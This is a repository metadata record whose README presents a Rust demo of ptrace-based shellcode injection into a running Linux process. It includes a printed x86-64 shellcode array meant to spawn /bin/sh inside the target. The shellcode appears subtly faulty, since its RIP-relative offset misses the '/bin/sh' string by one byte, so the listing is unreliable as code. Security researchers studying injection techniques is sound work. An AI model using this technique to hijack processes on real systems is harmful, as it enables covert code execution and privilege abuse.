{"id":24807235,"url":"https://github.com/affix/rust-remote-injection-nix","last_synced_at":"2025-04-11T14:09:33.325Z","repository":{"id":274534481,"uuid":"923228177","full_name":"affix/rust-remote-injection-nix","owner":"affix","description":"Shellcode injection to a remote linux process in rust","archived":false,"fork":false,"pushed_at":"2025-03-03T12:45:21.000Z","size":111,"stargazers_count":7,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-25T10:14:25.753Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/affix.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-27T21:16:26.000Z","updated_at":"2025-03-04T10:07:13.000Z","dependencies_parsed_at":"2025-01-27T22:28:14.168Z","dependency_job_id":"98258d74-b280-435a-bbb0-56892329a38a","html_url":"https://github.com/affix/rust-remote-injection-nix","commit_stats":null,"previous_names":["affix/rust-remote-injection-nix"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frust-remote-injection-nix","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frust-remote-injection-nix/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frust-remote-injection-nix/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/affix%2Frust-remote-injection-nix/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/affix","download_url":"https://codeload.github.com/affix/rust-remote-injection-nix/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248413676,"owners_count":21099341,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-01-30T09:17:50.638Z","updated_at":"2025-04-11T14:09:33.300Z","avatar_url":"https://github.com/affix.png","language":"Rust","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Ptrace Shellcode Injection Example\n\nThis Rust project demonstrates how to inject shellcode into a target process using `ptrace` to allocate memory, write shellcode, and execute it by modifying the target process's registers.\n\n## Features\n\n- Attach to a target process using `ptrace`. (By default this is the `sleep` command. Modify the `PROCESS_NAME` constant to target a different process.)\n- Allocate executable memory in the target process using the `mmap` system call.\n- Write shellcode into the allocated memory using `PTRACE_POKETEXT`.\n- Modify the instruction pointer (`RIP`) to execute the injected shellcode.\n- Cleanly detach from the target process after injection.\n\n## Prerequisites\n\n- Rust (latest stable version recommended)\n- Root privileges to execute the program (or adjust `ptrace_scope` settings).\n\n## Shellcode Example\n\nThe example includes shellcode to execute `/bin/sh` using the `execve` system call. Modify the shellcode as needed for your use case.\n\n```rust\nlet shellcode: [u8; 32] = [\n    0x48, 0x31, 0xff,                         // xor    rdi, rdi\n    0x48, 0x89, 0xe6,                         // mov    rsi, rsp\n    0x48, 0x8d, 0x3d, 0x0a, 0x00, 0x00, 0x00, // lea    rdi, [rip+10]\n    0x31, 0xc0,                               // xor    eax, eax\n    0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // mov    rax, 59 (execve)\n    0x0f, 0x05,                               // syscall\n    0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00  // \"/bin/sh\"\n];\n```","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faffix%2Frust-remote-injection-nix","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faffix%2Frust-remote-injection-nix","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faffix%2Frust-remote-injection-nix/lists"}